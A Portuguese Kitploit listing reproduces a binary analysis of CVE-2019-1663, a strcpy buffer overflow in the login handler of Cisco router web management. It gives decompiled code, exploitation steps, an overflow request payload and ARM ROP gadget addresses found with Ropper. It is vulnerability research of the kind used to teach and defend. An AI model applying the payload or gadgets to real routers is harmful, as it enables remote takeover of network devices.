Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/wolffcorentin/cve-2019-1663-binary-analysis
Segurança de Sistemas EmbarcadosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaAnálise de BináriosPapers e PesquisaAprendizado e EducaçãoExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
wolffcorentin/cve-2019-1663-binary-analysis

CVE-2019-1663-Binary-Analysis

Análise binária e exploração do CVE-2019-1663, um estouro de buffer no gerenciamento web de roteadores Cisco, incluindo causa raiz, etapas de exploração e descoberta de gadgets ROP.

Ver Repositório
2há 1 anoAinda não revisado

Análise Binária do CVE-2019-1663

Autor: Corentin Wolff


Origem da Vulnerabilidade

Fonte da Vulnerabilidade

A vulnerabilidade origina-se da função 0x0002BF64, que usa indevidamente a função strcpy, tornando-a propensa a ataques de estouro de buffer. Para maior clareza, esta função foi renomeada para Login. Abaixo está um trecho ilustrando o problema:

root@kitploit:~
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }

Neste trecho, a função strcpy é usada incorretamente, causando uma vulnerabilidade de estouro de buffer:

root@kitploit:~
if (param_4 == 0) {  
    iVar2 = strncmp(acStack_fa, "enc=", 4);  
    if (iVar2 != 0) {  
        strcpy(acStack_15e, acStack_fa);  
        strcpy(acStack_1c2, param_2);  
        goto LAB_0002c264;  
    }  
}

Identificação do Nome de Usuário

Esta parte do código verifica o nome de usuário:

root@kitploit:~
if (iVar2 != 0) {  
    syslog(6, "Web management login failed, user=%s\n", param_1);  
}

O parâmetro param_1 é identificado como o campo de nome de usuário.

Verificação da Senha

Da mesma forma, param_2 corresponde à senha, enquanto param_3 é identificado como httpd_user.

Flags de Login

A variável login_flag representa estados de conexão:

root@kitploit:~
0 → Erro de login
1 → Login de administrador bem-sucedido
2 → Login de administrador negado devido a uma sessão existente
3 → Login de administrador forçando logout

Tipo de Vulnerabilidade

Estouro de Buffer e strcpy

A vulnerabilidade é um Estouro de Buffer causado pelo uso indevido da função strcpy.

Como strcpy Falha

A função strcpy não verifica o tamanho da string de origem em relação à capacidade do buffer de destino. Isso permite que regiões de memória adjacentes sejam sobrescritas.

Contexto de Exploração

O CVE-2019-1663 explora a falta de validação de tamanho de entrada em certos modelos de roteadores Cisco.

Etapas da Exploração

root@kitploit:~
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.

Exploração Remota da Vulnerabilidade

  1. Condições para Exploração Remota A exploração requer acesso ao servidor de configuração web do roteador. Se o servidor não estiver exposto à WAN, a exploração é limitada ao acesso à LAN.
  2. Procedimento de Ataque Uma vez obtido o acesso, o atacante intercepta e modifica uma requisição, anexando um payload malicioso como:
    root@kitploit:~
    &enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN  
    

Isso desencadeia uma falha de segmentação. Ao determinar o tamanho ideal do buffer, os atacantes podem injetar e executar código malicioso.

Exploit | Gadgets : Ropper

root@kitploit:~
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}

(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0

(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;

Bibliografia

  1. MITRE CWE-120: Cópia de Buffer sem Verificação do Tamanho da Entrada
    https://cwe.mitre.org/data/definitions/120.html

  2. MITRE CWE-787: Escrita Fora dos Limites
    https://cwe.mitre.org/data/definitions/787.html

  3. Visão Geral de Estouro de Buffer da OWASP
    https://owasp.org/www-community/vulnerabilities/Buffer_Overflow

  4. "Estouro de Buffer" no Microsoft Learn
    https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp

  5. Padrões de Codificação Segura CERT - STR31-C
    https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator

  6. Explorando o CVE-2019-1663 - Write Up por Quentin Kaiser
    https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663

Baixar ferramenta